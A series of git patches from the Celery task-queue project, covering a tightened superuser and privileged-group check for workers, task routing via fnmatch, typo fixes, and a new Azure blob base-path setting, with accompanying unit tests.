100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -74,6 +74,7 @@ class Context: headers = None delivery_info = None reply_to = None + shadow = None root_id = None parent_id = None correlation_id = None @@ -114,6 +115,7 @@ def as_execution_options(self): 'parent_id': self.parent_id, 'group_id': self.group, 'group_index': self.group_index, + 'shadow': self.shadow, 'chord': self.chord, 'chain': self.chain, 'link': self.callbacks, diff --git a/t/unit/tasks/test_tasks.py b/t/unit/tasks/test_tasks.py index 900d7decdbc..7ac83ed5243 100644 --- a/t/unit/tasks/test_tasks.py +++ b/t/unit/tasks/test_tasks.py @@ -422,6 +422,12 @@ def test_signature_from_request__delivery_info(self): assert sig.options['exchange'] == 'testex' assert sig.options['routing_key'] == 'testrk' + def test_signature_from_request__shadow_name(self): + self.retry_task.push_request() + self.retry_task.request.shadow = 'test' + sig = self.retry_task.signature_from_request() + assert sig.options['shadow'] == 'test' + def test_retry_kwargs_can_be_empty(self): self.retry_task_mockapply.push_request() try: From 8a4056087aeac6a5be79a2db4d6f06975f754609 Mon Sep 17 00:00:00 2001 From: Matt <30868661+namloc2001@users.noreply.github.com> Date: Thu, 4 Mar 2021 15:20:55 +0000 Subject: [PATCH 168/415] Update platforms.py "superuser privileges" check (#6600) * Update platforms.py Making it so that the check for "superuser privileges" is only looking for uid/euid=0, not including the root group (gid/egid=0) which does not have the superuser privileges associated with uid/euid=0. * Update platforms.py * Update platforms.py * Update platforms.py * Update platforms.py * Update celery/platforms.py Co-authored-by: Omer Katz * Update celery/platforms.py Co-authored-by: Omer Katz * Update celery/platforms.py Co-authored-by: Omer Katz * Update celery/platforms.py Co-authored-by: Omer Katz * Update platforms.py * Update celery/platforms.py Co-authored-by: Omer Katz * Update platforms.py * Update platforms.py * Update celery/platforms.py Co-authored-by: Omer Katz * Update platforms.py * Refactor contribution. * Basic tests. * Catch the SecurityError and exit the program. * More tests. * Ensure no warnings are present. * Cover the case where the platform doesn't have fchown available. * Test that a security error is raised when suspicious group names are used. * Remove unused import. Co-authored-by: Omer Katz --- celery/bin/worker.py | 79 +++++++------ celery/exceptions.py | 8 +- celery/platforms.py | 87 ++++++++++---- t/unit/utils/test_platforms.py | 208 ++++++++++++++++++++++++++++++--- 4 files changed, 300 insertions(+), 82 deletions(-) diff --git a/celery/bin/worker.py b/celery/bin/worker.py index ca16a19b4e3..e38b86fb16b 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -11,6 +11,7 @@ from celery.bin.base import (COMMA_SEPARATED_LIST, LOG_LEVEL, CeleryDaemonCommand, CeleryOption, handle_preload_options) +from celery.exceptions import SecurityError from celery.platforms import (EX_FAILURE, EX_OK, detached, maybe_drop_privileges) from celery.utils.log import get_logger @@ -289,40 +290,44 @@ def worker(ctx, hostname=None, pool_cls=None, app=None, uid=None, gid=None, $ celery worker --autoscale=10,0 """ - app = ctx.obj.app - if ctx.args: - try: - app.config_from_cmdline(ctx.args, namespace='worker') - except (KeyError, ValueError) as e: - # TODO: Improve the error messages - raise click.UsageError( - "Unable to parse extra configuration from command line.\n" - f"Reason: {e}", ctx=ctx) - if kwargs.get('detach', False): - argv = ['-m', 'celery'] + sys.argv[1:] - if '--detach' in argv: - argv.remove('--detach') - if '-D' in argv: - argv.remove('-D') - - return detach(sys.executable, - argv, - logfile=logfile, - pidfile=pidfile, - uid=uid, gid=gid, - umask=kwargs.get('umask', None), - workdir=kwargs.get('workdir', None), - app=app, - executable=kwargs.get('executable', None), - hostname=hostname) - - maybe_drop_privileges(uid=uid, gid=gid) - worker = app.Worker( - hostname=hostname, pool_cls=pool_cls, loglevel=loglevel, - logfile=logfile, # node format handled by celery.app.log.setup - pidfile=node_format(pidfile, hostname), - statedb=node_format(statedb, hostname), - no_color=ctx.obj.no_color, - **kwargs) - worker.start() - return worker.exitcode + try: + app = ctx.obj.app + if ctx.args: + try: + app.config_from_cmdline(ctx.args, namespace='worker') + except (KeyError, ValueError) as e: + # TODO: Improve the error messages + raise click.UsageError( + "Unable to parse extra configuration from command line.\n" + f"Reason: {e}", ctx=ctx) + if kwargs.get('detach', False): + argv = ['-m', 'celery'] + sys.argv[1:] + if '--detach' in argv: + argv.remove('--detach') + if '-D' in argv: + argv.remove('-D') + + return detach(sys.executable, + argv, + logfile=logfile, + pidfile=pidfile, + uid=uid, gid=gid, + umask=kwargs.get('umask', None), + workdir=kwargs.get('workdir', None), + app=app, + executable=kwargs.get('executable', None), + hostname=hostname) + + maybe_drop_privileges(uid=uid, gid=gid) + worker = app.Worker( + hostname=hostname, pool_cls=pool_cls, loglevel=loglevel, + logfile=logfile, # node format handled by celery.app.log.setup + pidfile=node_format(pidfile, hostname), + statedb=node_format(statedb, hostname), + no_color=ctx.obj.no_color, + **kwargs) + worker.start() + return worker.exitcode + except SecurityError as e: + ctx.obj.error(e.args[0]) + ctx.exit(1) diff --git a/celery/exceptions.py b/celery/exceptions.py index 66b3ca2a341..f40c7c29b9e 100644 --- a/celery/exceptions.py +++ b/celery/exceptions.py @@ -44,6 +44,7 @@ - :class:`~celery.exceptions.DuplicateNodenameWarning` - :class:`~celery.exceptions.FixupWarning` - :class:`~celery.exceptions.NotConfigured` + - :class:`~celery.exceptions.SecurityWarning` - :exc:`BaseException` - :exc:`SystemExit` - :exc:`~celery.exceptions.WorkerTerminate` @@ -62,7 +63,7 @@ # Warnings 'CeleryWarning', 'AlwaysEagerIgnored', 'DuplicateNodenameWarning', - 'FixupWarning', 'NotConfigured', + 'FixupWarning', 'NotConfigured', 'SecurityWarning', # Core errors 'CeleryError', @@ -128,6 +129,11 @@ class NotConfigured(CeleryWarning): """Celery hasn't been configured, as no config module has been found.""" +class SecurityWarning(CeleryWarning): + """Potential security issue found.""" + pass + + class CeleryError(Exception): """Base class for all Celery errors.""" diff --git a/celery/platforms.py b/celery/platforms.py index 452435be6ac..83392a20e83 100644 --- a/celery/platforms.py +++ b/celery/platforms.py @@ -6,6 +6,7 @@ import atexit import errno +import grp import math import numbers import os @@ -21,7 +22,7 @@ from kombu.utils.compat import maybe_fileno from kombu.utils.encoding import safe_str -from .exceptions import SecurityError, reraise +from .exceptions import SecurityError, SecurityWarning, reraise from .local import try_import try: @@ -66,8 +67,6 @@ _range = namedtuple('_range', ('start', 'stop')) -C_FORCE_ROOT = os.environ.get('C_FORCE_ROOT', False) - ROOT_DISALLOWED = """\ Running a worker with superuser privileges when the worker accepts messages serialized with pickle is a very bad idea! @@ -87,6 +86,11 @@ User information: uid={uid} euid={euid} gid={gid} egid={egid} """ +ASSUMING_ROOT = """\ +An entry for the specified gid or egid was not found. +We're assuming this is a potential security issue. +""" + SIGNAMES = { sig for sig in dir(_signal) if sig.startswith('SIG') and '_' not in sig @@ -146,6 +150,7 @@ def acquire(self): except OSError as exc: reraise(LockFailed, LockFailed(str(exc)), sys.exc_info()[2]) return self + __enter__ = acquire def is_locked(self): @@ -155,6 +160,7 @@ def is_locked(self): def release(self, *args): """Release lock.""" self.remove() + __exit__ = release def read_pid(self): @@ -346,17 +352,19 @@ def open(self): mputil._run_after_forkers() self._is_open = True + __enter__ = open def close(self, *args): if self._is_open: self._is_open = False + __exit__ = close def _detach(self): - if os.fork() == 0: # first child - os.setsid() # create new session - if os.fork() > 0: # pragma: no cover + if os.fork() == 0: # first child + os.setsid() # create new session + if os.fork() > 0: # pragma: no cover # second child os._exit(0) else: @@ -463,7 +471,7 @@ def _setgroups_hack(groups): while 1: try: return os.setgroups(groups) - except ValueError: # error from Python's check. + except ValueError: # error from Python's check. if len(groups) <= 1: raise groups[:] = groups[:-1] @@ -625,7 +633,7 @@ def arm_alarm(self, seconds): # noqa _signal.alarm(math.ceil(seconds)) else: # pragma: no cover - def arm_alarm(self, seconds): # noqa + def arm_alarm(self, seconds): # noqa return _itimer_alarm(seconds) # noqa def reset_alarm(self): @@ -688,10 +696,10 @@ def update(self, _d_=None, **sigmap): signals = Signals() -get_signal = signals.signum # compat +get_signal = signals.signum # compat install_signal_handler = signals.__setitem__ # compat -reset_signal = signals.reset # compat -ignore_signal = signals.ignore # compat +reset_signal = signals.reset # compat +ignore_signal = signals.ignore # compat def signal_name(signum): @@ -772,6 +780,9 @@ def ignore_errno(*errnos, **kwargs): def check_privileges(accept_content): + pickle_or_serialize = ('pickle' in accept_content + or 'application/group-python-serialize' in accept_content) + uid = os.getuid() if hasattr(os, 'getuid') else 65535 gid = os.getgid() if hasattr(os, 'getgid') else 65535 euid = os.geteuid() if hasattr(os, 'geteuid') else 65535 @@ -779,20 +790,46 @@ def check_privileges(accept_content): if hasattr(os, 'fchown'): if not all(hasattr(os, attr) - for attr in ['getuid', 'getgid', 'geteuid', 'getegid']): + for attr in ('getuid', 'getgid', 'geteuid', 'getegid')): raise SecurityError('suspicious platform, contact support') - if not uid or not gid or not euid or not egid: - if ('pickle' in accept_content or - 'application/x-python-serialize' in accept_content): - if not C_FORCE_ROOT: - try: - print(ROOT_DISALLOWED.format( - uid=uid, euid=euid, gid=gid, egid=egid, - ), file=sys.stderr) - finally: - sys.stderr.flush() - os._exit(1) - warnings.warn(RuntimeWarning(ROOT_DISCOURAGED.format( + # Get the group database entry for the current user's group and effective + # group id using grp.getgrgid() method + # We must handle the case where either the gid or the egid are not found. + try: + gid_entry = grp.getgrgid(gid) + egid_entry = grp.getgrgid(egid) + except KeyError: + warnings.warn(SecurityWarning(ASSUMING_ROOT)) + _warn_or_raise_security_error(egid, euid, gid, uid, + pickle_or_serialize) + return + + # Get the group and effective group name based on gid + gid_grp_name = gid_entry[0] + egid_grp_name = egid_entry[0] + + # Create lists to use in validation step later. + gids_in_use = (gid_grp_name, egid_grp_name) + groups_with_security_risk = ('sudo', 'wheel') + + is_root = uid == 0 or euid == 0 + # Confirm that the gid and egid are not one that + # can be used to escalate privileges. + if is_root or any(group in gids_in_use + for group in groups_with_security_risk): + _warn_or_raise_security_error(egid, euid, gid, uid, + pickle_or_serialize) + + +def _warn_or_raise_security_error(egid, euid, gid, uid, pickle_or_serialize): + c_force_root = os.environ.get('C_FORCE_ROOT', False) + + if pickle_or_serialize and not c_force_root: + raise SecurityError(ROOT_DISALLOWED.format( uid=uid, euid=euid, gid=gid, egid=egid, - ))) + )) + + warnings.warn(SecurityWarning(ROOT_DISCOURAGED.format( + uid=uid, euid=euid, gid=gid, egid=egid, + ))) diff --git a/t/unit/utils/test_platforms.py b/t/unit/utils/test_platforms.py index c58a3ed6d68..cfb856f8c18 100644 --- a/t/unit/utils/test_platforms.py +++ b/t/unit/utils/test_platforms.py @@ -1,5 +1,6 @@ import errno import os +import re import signal import sys import tempfile @@ -10,9 +11,10 @@ import t.skip from celery import _find_option_with_arg, platforms -from celery.exceptions import SecurityError -from celery.platforms import (DaemonContext, LockFailed, Pidfile, - _setgroups_hack, check_privileges, +from celery.exceptions import SecurityError, SecurityWarning +from celery.platforms import (ASSUMING_ROOT, ROOT_DISALLOWED, + ROOT_DISCOURAGED, DaemonContext, LockFailed, + Pidfile, _setgroups_hack, check_privileges, close_open_fds, create_pidlock, detached, fd_by_path, get_fdmax, ignore_errno, initgroups, isatty, maybe_drop_privileges, parse_gid, @@ -158,6 +160,7 @@ def test_reset(self, set): def test_setitem(self, set): def handle(*args): return args + signals['INT'] = handle set.assert_called_with(signal.SIGINT, handle) @@ -218,6 +221,7 @@ class pw_struct: def raise_on_second_call(*args, **kwargs): setuid.side_effect = OSError() setuid.side_effect.errno = errno.EPERM + setuid.side_effect = raise_on_second_call getpwuid.return_value = pw_struct() parse_uid.return_value = 5001 @@ -237,7 +241,9 @@ def to_root_on_second_call(mock, first): def on_first_call(*args, **kwargs): ret, return_value[0] = return_value[0], 0 return ret + mock.side_effect = on_first_call + to_root_on_second_call(geteuid, 10) to_root_on_second_call(getuid, 10) with pytest.raises(SecurityError): @@ -259,6 +265,7 @@ def on_first_call(*args, **kwargs): def raise_on_second_call(*args, **kwargs): setuid.side_effect = OSError() setuid.side_effect.errno = errno.ENOENT + setuid.side_effect = raise_on_second_call with pytest.raises(OSError): maybe_drop_privileges(uid='user') @@ -274,6 +281,7 @@ def test_with_guid(self, initgroups, setuid, setgid, def raise_on_second_call(*args, **kwargs): setuid.side_effect = OSError() setuid.side_effect.errno = errno.EPERM + setuid.side_effect = raise_on_second_call parse_uid.return_value = 5001 parse_gid.return_value = 50001 @@ -327,7 +335,6 @@ def test_parse_uid_when_int(self): @patch('pwd.getpwnam') def test_parse_uid_when_existing_name(self, getpwnam): - class pwent: pw_uid = 5001 @@ -346,7 +353,6 @@ def test_parse_gid_when_int(self): @patch('grp.getgrnam') def test_parse_gid_when_existing_name(self, getgrnam): - class grent: gr_gid = 50001 @@ -739,6 +745,7 @@ def on_setgroups(groups): setgroups.return_value = True return raise ValueError() + setgroups.side_effect = on_setgroups _setgroups_hack(list(range(400))) @@ -756,6 +763,7 @@ def on_setgroups(groups): setgroups.return_value = True return raise exc + setgroups.side_effect = on_setgroups _setgroups_hack(list(range(400))) @@ -817,17 +825,179 @@ def test_setgroups_raises_EPERM(self, hack, getgroups): getgroups.assert_called_with() -def test_check_privileges(): - class Obj: - fchown = 13 - prev, platforms.os = platforms.os, Obj() - try: - with pytest.raises(SecurityError): - check_privileges({'pickle'}) - finally: - platforms.os = prev - prev, platforms.os = platforms.os, object() - try: - check_privileges({'pickle'}) - finally: - platforms.os = prev +@pytest.mark.parametrize('accept_content', [ + {'pickle'}, + {'application/group-python-serialize'}, + {'pickle', 'application/group-python-serialize'} +]) +def test_check_privileges_suspicious_platform(accept_content): + with patch('celery.platforms.os') as os_module: + del os_module.getuid + del os_module.getgid + del os_module.geteuid + del os_module.getegid + + with pytest.raises(SecurityError, + match=r'suspicious platform, contact support'): + check_privileges(accept_content) + + +@pytest.mark.parametrize('accept_content', [ + {'pickle'}, + {'application/group-python-serialize'}, + {'pickle', 'application/group-python-serialize'} +]) +def test_check_privileges(accept_content, recwarn): + check_privileges(accept_content) + + assert len(recwarn) == 0 + + +@pytest.mark.parametrize('accept_content', [ + {'pickle'}, + {'application/group-python-serialize'}, + {'pickle', 'application/group-python-serialize'} +]) +def test_check_privileges_no_fchown(accept_content, recwarn): + with patch('celery.platforms.os') as os_module: + del os_module.fchown + check_privileges(accept_content) + + assert len(recwarn) == 0 + + +@pytest.mark.parametrize('accept_content', [ + {'pickle'}, + {'application/group-python-serialize'}, + {'pickle', 'application/group-python-serialize'} +]) +def test_check_privileges_without_c_force_root(accept_content): + with patch('celery.platforms.os') as os_module: + os_module.environ = {} + os_module.getuid.return_value = 0 + os_module.getgid.return_value = 0 + os_module.geteuid.return_value = 0 + os_module.getegid.return_value = 0 + + expected_message = re.escape(ROOT_DISALLOWED.format(uid=0, euid=0, + gid=0, egid=0)) + with pytest.raises(SecurityError, + match=expected_message): + check_privileges(accept_content) + + +@pytest.mark.parametrize('accept_content', [ + {'pickle'}, + {'application/group-python-serialize'}, + {'pickle', 'application/group-python-serialize'} +]) +def test_check_privileges_with_c_force_root(accept_content): + with patch('celery.platforms.os') as os_module: + os_module.environ = {'C_FORCE_ROOT': 'true'} + os_module.getuid.return_value = 0 + os_module.getgid.return_value = 0 + os_module.geteuid.return_value = 0 + os_module.getegid.return_value = 0 + + with pytest.warns(SecurityWarning): + check_privileges(accept_content) + + +@pytest.mark.parametrize(('accept_content', 'group_name'), [ + ({'pickle'}, 'sudo'), + ({'application/group-python-serialize'}, 'sudo'), + ({'pickle', 'application/group-python-serialize'}, 'sudo'), + ({'pickle'}, 'wheel'), + ({'application/group-python-serialize'}, 'wheel'), + ({'pickle', 'application/group-python-serialize'}, 'wheel'), +]) +def test_check_privileges_with_c_force_root_and_with_suspicious_group(accept_content, group_name): + with patch('celery.platforms.os') as os_module, patch('celery.platforms.grp') as grp_module: + os_module.environ = {'C_FORCE_ROOT': 'true'} + os_module.getuid.return_value = 60 + os_module.getgid.return_value = 60 + os_module.geteuid.return_value = 60 + os_module.getegid.return_value = 60 + + grp_module.getgrgid.return_value = [group_name] + grp_module.getgrgid.return_value = [group_name] + + expected_message = re.escape(ROOT_DISCOURAGED.format(uid=60, euid=60, + gid=60, egid=60)) + with pytest.warns(SecurityWarning, match=expected_message): + check_privileges(accept_content) + + +@pytest.mark.parametrize(('accept_content', 'group_name'), [ + ({'pickle'}, 'sudo'), + ({'application/group-python-serialize'}, 'sudo'), + ({'pickle', 'application/group-python-serialize'}, 'sudo'), + ({'pickle'}, 'wheel'), + ({'application/group-python-serialize'}, 'wheel'), + ({'pickle', 'application/group-python-serialize'}, 'wheel'), +]) +def test_check_privileges_without_c_force_root_and_with_suspicious_group(accept_content, group_name): + with patch('celery.platforms.os') as os_module, patch('celery.platforms.grp') as grp_module: + os_module.environ = {} + os_module.getuid.return_value = 60 + os_module.getgid.return_value = 60 + os_module.geteuid.return_value = 60 + os_module.getegid.return_value = 60 + + grp_module.getgrgid.return_value = [group_name] + grp_module.getgrgid.return_value = [group_name] + + expected_message = re.escape(ROOT_DISALLOWED.format(uid=60, euid=60, + gid=60, egid=60)) + with pytest.raises(SecurityError, + match=expected_message): + check_privileges(accept_content) + + +@pytest.mark.parametrize('accept_content', [ + {'pickle'}, + {'application/group-python-serialize'}, + {'pickle', 'application/group-python-serialize'} +]) +def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, recwarn): + with patch('celery.platforms.os') as os_module, patch('celery.platforms.grp') as grp_module: + os_module.environ = {'C_FORCE_ROOT': 'true'} + os_module.getuid.return_value = 60 + os_module.getgid.return_value = 60 + os_module.geteuid.return_value = 60 + os_module.getegid.return_value = 60 + + grp_module.getgrgid.side_effect = KeyError + + expected_message = ROOT_DISCOURAGED.format(uid=60, euid=60, + gid=60, egid=60) + + check_privileges(accept_content) + assert len(recwarn) == 2 + + assert recwarn[0].message.args[0] == ASSUMING_ROOT + assert recwarn[1].message.args[0] == expected_message + + +@pytest.mark.parametrize('accept_content', [ + {'pickle'}, + {'application/group-python-serialize'}, + {'pickle', 'application/group-python-serialize'} +]) +def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, recwarn): + with patch('celery.platforms.os') as os_module, patch('celery.platforms.grp') as grp_module: + os_module.environ = {} + os_module.getuid.return_value = 60 + os_module.getgid.return_value = 60 + os_module.geteuid.return_value = 60 + os_module.getegid.return_value = 60 + + grp_module.getgrgid.side_effect = KeyError + + expected_message = re.escape(ROOT_DISALLOWED.format(uid=60, euid=60, + gid=60, egid=60)) + with pytest.raises(SecurityError, + match=expected_message): + check_privileges(accept_content) + + assert recwarn[0].message.args[0] == ASSUMING_ROOT From 6e558062494b2185747b58292541996b73609fb7 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Thu, 4 Mar 2021 22:44:11 +0600 Subject: [PATCH 169/415] attempt to fix #6517 (#6599) Co-authored-by: Omer Katz --- celery/bin/worker.py | 1 + 1 file changed, 1 insertion(+) diff --git a/celery/bin/worker.py b/celery/bin/worker.py index e38b86fb16b..5b5e7fd8ed3 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -325,6 +325,7 @@ def worker(ctx, hostname=None, pool_cls=None, app=None, uid=None, gid=None, pidfile=node_format(pidfile, hostname), statedb=node_format(statedb, hostname), no_color=ctx.obj.no_color, + quiet=ctx.obj.quiet, **kwargs) worker.start() return worker.exitcode From 671c1235bd71e716ea7982fe587d21779c34cb02 Mon Sep 17 00:00:00 2001 From: LaughInJar <287464+LaughInJar@users.noreply.github.com> Date: Thu, 4 Mar 2021 17:44:47 +0100 Subject: [PATCH 170/415] remove unused property `autoregister` from the Task class (#6624) issue: https://github.com/celery/celery/issues/6623 Seems to have been an remainder from 3.x times when class based tasks have autoregistered. Co-authored-by: Simon Lachinger --- celery/app/task.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/celery/app/task.py b/celery/app/task.py index 3e386822bec..801eba11a8f 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -221,9 +221,6 @@ class Task: #: The result store backend used for this task. backend = None - #: If disabled this task won't be registered automatically. - autoregister = True - #: If enabled the task will report its status as 'started' when the task #: is executed by a worker. Disabled by default as the normal behavior #: is to not report that level of granularity. Tasks are either pending, From 7c4a48e5e7a40c7e0c0e1170e9c807c98f738c11 Mon Sep 17 00:00:00 2001 From: Sergey Lyapustin Date: Thu, 4 Mar 2021 20:47:19 +0200 Subject: [PATCH 171/415] Fixed typos --- celery/backends/redis.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index d684c196fd7..ef2badf72b4 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -48,13 +48,13 @@ W_REDIS_SSL_CERT_OPTIONAL = """ Setting ssl_cert_reqs=CERT_OPTIONAL when connecting to redis means that \ -celery might not valdate the identity of the redis broker when connecting. \ +celery might not validate the identity of the redis broker when connecting. \ This leaves you vulnerable to man in the middle attacks. """ W_REDIS_SSL_CERT_NONE = """ Setting ssl_cert_reqs=CERT_NONE when connecting to redis means that celery \ -will not valdate the identity of the redis broker when connecting. This \ +will not validate the identity of the redis broker when connecting. This \ leaves you vulnerable to man in the middle attacks. """ From f091bab758cf430640678a16a759892bdd352800 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 7 Mar 2021 18:31:20 +0200 Subject: [PATCH 172/415] Run CI when dependencies change & when the pipeline itself changes (#6663) * Run CI when dependencies change. * Run CI when the pipeline itself changes. --- .github/workflows/python-package.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index af1ffb27f4f..34fc435ddef 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -8,10 +8,14 @@ on: branches: [ master ] paths: - '**.py' + - '**.txt' + - '.github/workflows/python-package.yml' pull_request: branches: [ master ] paths: - '**.py' + - '**.txt' + - '.github/workflows/python-package.yml' jobs: build: From 1ff70592523f83fc8096fa208f03a826d7d13756 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 9 Mar 2021 18:36:19 +0200 Subject: [PATCH 173/415] fnmatch.translate() already translates globs for us. (#6668) There's no longer a need for our faulty implementation of glob_to_re since the functionality is provided in the fnmatch standard module. This incidently, fixes #5646. --- celery/app/routes.py | 10 +++------- t/unit/app/test_routes.py | 10 ++++++++-- 2 files changed, 11 insertions(+), 9 deletions(-) diff --git a/celery/app/routes.py b/celery/app/routes.py index 348c8880351..a56ce59e00b 100644 --- a/celery/app/routes.py +++ b/celery/app/routes.py @@ -2,8 +2,8 @@ Contains utilities for working with task routers, (:setting:`task_routes`). """ +import fnmatch import re -import string from collections import OrderedDict from collections.abc import Mapping @@ -23,11 +23,6 @@ __all__ = ('MapRoute', 'Router', 'prepare') -def glob_to_re(glob, quote=string.punctuation.replace('*', '')): - glob = ''.join('\\' + c if c in quote else c for c in glob) - return glob.replace('*', '.+?') - - class MapRoute: """Creates a router out of a :class:`dict`.""" @@ -39,7 +34,7 @@ def __init__(self, map): if isinstance(k, Pattern): self.patterns[k] = v elif '*' in k: - self.patterns[re.compile(glob_to_re(k))] = v + self.patterns[re.compile(fnmatch.translate(k))] = v else: self.map[k] = v @@ -126,6 +121,7 @@ def expand_router_string(router): def prepare(routes): """Expand the :setting:`task_routes` setting.""" + def expand_route(route): if isinstance(route, (Mapping, list, tuple)): return MapRoute(route) diff --git a/t/unit/app/test_routes.py b/t/unit/app/test_routes.py index 309335e1923..20d49be87df 100644 --- a/t/unit/app/test_routes.py +++ b/t/unit/app/test_routes.py @@ -16,6 +16,7 @@ def Router(app, *args, **kwargs): def E(app, queues): def expand(answer): return Router(app, [], queues).expand_destination(answer) + return expand @@ -46,6 +47,7 @@ def setup(self): @self.app.task(shared=False) def mytask(*args, **kwargs): pass + self.mytask = mytask def assert_routes_to_queue(self, queue, router, name, @@ -56,7 +58,8 @@ def assert_routes_to_queue(self, queue, router, name, kwargs = {} if args is None: args = [] - assert router.route(options, name, args, kwargs)['queue'].name == queue + assert router.route(options, name, args, kwargs)[ + 'queue'].name == queue def assert_routes_to_default_queue(self, router, name, *args, **kwargs): self.assert_routes_to_queue( @@ -85,10 +88,13 @@ def test_route_for_task__glob(self): from re import compile route = routes.MapRoute([ + ('proj.tasks.bar*', {'queue': 'routeC'}), ('proj.tasks.*', 'routeA'), ('demoapp.tasks.bar.*', {'exchange': 'routeB'}), (compile(r'(video|image)\.tasks\..*'), {'queue': 'media'}), ]) + assert route('proj.tasks.bar') == {'queue': 'routeC'} + assert route('proj.tasks.bar.baz') == {'queue': 'routeC'} assert route('proj.tasks.foo') == {'queue': 'routeA'} assert route('demoapp.tasks.bar.moo') == {'exchange': 'routeB'} assert route('video.tasks.foo') == {'queue': 'media'} @@ -97,7 +103,7 @@ def test_route_for_task__glob(self): def test_expand_route_not_found(self): expand = E(self.app, self.app.amqp.Queues( - self.app.conf.task_queues, False)) + self.app.conf.task_queues, False)) route = routes.MapRoute({'a': {'queue': 'x'}}) with pytest.raises(QueueNotFound): expand(route('a')) From 1d42c78e763aedcba456c616f0bb2f49d9193df1 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 10 Mar 2021 13:45:11 +0200 Subject: [PATCH 174/415] Upgrade syntax to Python 3.6+. --- celery/canvas.py | 4 ++-- t/integration/tasks.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/celery/canvas.py b/celery/canvas.py index 47afd2be9bc..57b0aea0628 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -1041,9 +1041,9 @@ def from_dict(cls, d, app=None): # access elements from that dictionary later and refer to objects # canonicalized here orig_tasks = d["kwargs"]["tasks"] - d["kwargs"]["tasks"] = rebuilt_tasks = type(orig_tasks)(( + d["kwargs"]["tasks"] = rebuilt_tasks = type(orig_tasks)( maybe_signature(task, app=app) for task in orig_tasks - )) + ) return group(rebuilt_tasks, app=app, **d['options']) def __init__(self, *tasks, **options): diff --git a/t/integration/tasks.py b/t/integration/tasks.py index 2898d8a5ac7..4e88bcd880a 100644 --- a/t/integration/tasks.py +++ b/t/integration/tasks.py @@ -363,7 +363,7 @@ def rebuild_signature(sig_dict): def _recurse(sig): if not isinstance(sig, Signature): - raise TypeError("{!r} is not a signature object".format(sig)) + raise TypeError(f"{sig!r} is not a signature object") # Most canvas types have a `tasks` attribute if isinstance(sig, (chain, group, chord)): for task in sig.tasks: From c8f95f6a5e8b988ef022137608e45c533473fbcb Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 10 Mar 2021 13:46:56 +0200 Subject: [PATCH 175/415] Remove redundant pass statement. --- celery/backends/redis.py | 1 - celery/exceptions.py | 1 - 2 files changed, 2 deletions(-) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index ef2badf72b4..aa3c13d114d 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -567,7 +567,6 @@ class SentinelManagedSSLConnection( SSL Connection. """ - pass class SentinelBackend(RedisBackend): diff --git a/celery/exceptions.py b/celery/exceptions.py index f40c7c29b9e..a30f460c69a 100644 --- a/celery/exceptions.py +++ b/celery/exceptions.py @@ -131,7 +131,6 @@ class NotConfigured(CeleryWarning): class SecurityWarning(CeleryWarning): """Potential security issue found.""" - pass class CeleryError(Exception): From 47af16889fb14e4aeda7b3dec74c521a7b5b1b40 Mon Sep 17 00:00:00 2001 From: Ruaridh Williamson Date: Sat, 13 Mar 2021 04:30:29 +0000 Subject: [PATCH 176/415] Add `azureblockblob_base_path` config (#6669) * Add `azureblockblob_base_path` config - Allow for a basepath such as 'FolderName/' within the Azure container * Docs for `azureblockblob_base_path` * Add Azure basepath to defaults * Add unit tests of Azure base path * Update Contributors * Add `versionadded` to docs of Azure basepath * Fix example path * Add tests for base_path conf * Update celery/backends/azureblockblob.py use a fstring Co-authored-by: Omer Katz * Update celery/backends/azureblockblob.py use a fstring Co-authored-by: Omer Katz * Update celery/backends/azureblockblob.py use a fstring Co-authored-by: Omer Katz * Update docs/userguide/configuration.rst Co-authored-by: Omer Katz Co-authored-by: Asif Saif Uddin Co-authored-by: Omer Katz --- CONTRIBUTORS.txt | 1 + celery/app/defaults.py | 1 + celery/backends/azureblockblob.py | 8 ++++-- docs/userguide/configuration.rst | 13 +++++++++ t/unit/backends/test_azureblockblob.py | 39 ++++++++++++++++++++------ 5 files changed, 51 insertions(+), 11 deletions(-) diff --git a/CONTRIBUTORS.txt b/CONTRIBUTORS.txt index 7cf4b9a60bb..38f1cb8f09d 100644 --- a/CONTRIBUTORS.txt +++ b/CONTRIBUTORS.txt @@ -280,3 +280,4 @@ Maksym Shalenyi, 2020/07/30 Frazer McLean, 2020/09/29 Henrik Bruåsdal, 2020/11/29 Tom Wojcik, 2021/01/24 +Ruaridh Williamson, 2021/03/09 diff --git a/celery/app/defaults.py b/celery/app/defaults.py index 51e1e2f96c1..fcf147f3cdc 100644 --- a/celery/app/defaults.py +++ b/celery/app/defaults.py @@ -132,6 +132,7 @@ def __repr__(self): retry_initial_backoff_sec=Option(2, type='int'), retry_increment_base=Option(2, type='int'), retry_max_attempts=Option(3, type='int'), + base_path=Option('', type='string'), ), control=Namespace( queue_ttl=Option(300.0, type='float'), diff --git a/celery/backends/azureblockblob.py b/celery/backends/azureblockblob.py index 81b15f6dec0..972baaf73e9 100644 --- a/celery/backends/azureblockblob.py +++ b/celery/backends/azureblockblob.py @@ -43,6 +43,8 @@ def __init__(self, container_name or conf["azureblockblob_container_name"]) + self.base_path = conf.get('azureblockblob_base_path', '') + @classmethod def _parse_url(cls, url, prefix="azureblockblob://"): connection_string = url[len(prefix):] @@ -82,7 +84,7 @@ def get(self, key): blob_client = self._blob_service_client.get_blob_client( container=self._container_name, - blob=key, + blob=f'{self.base_path}{key}', ) try: @@ -103,7 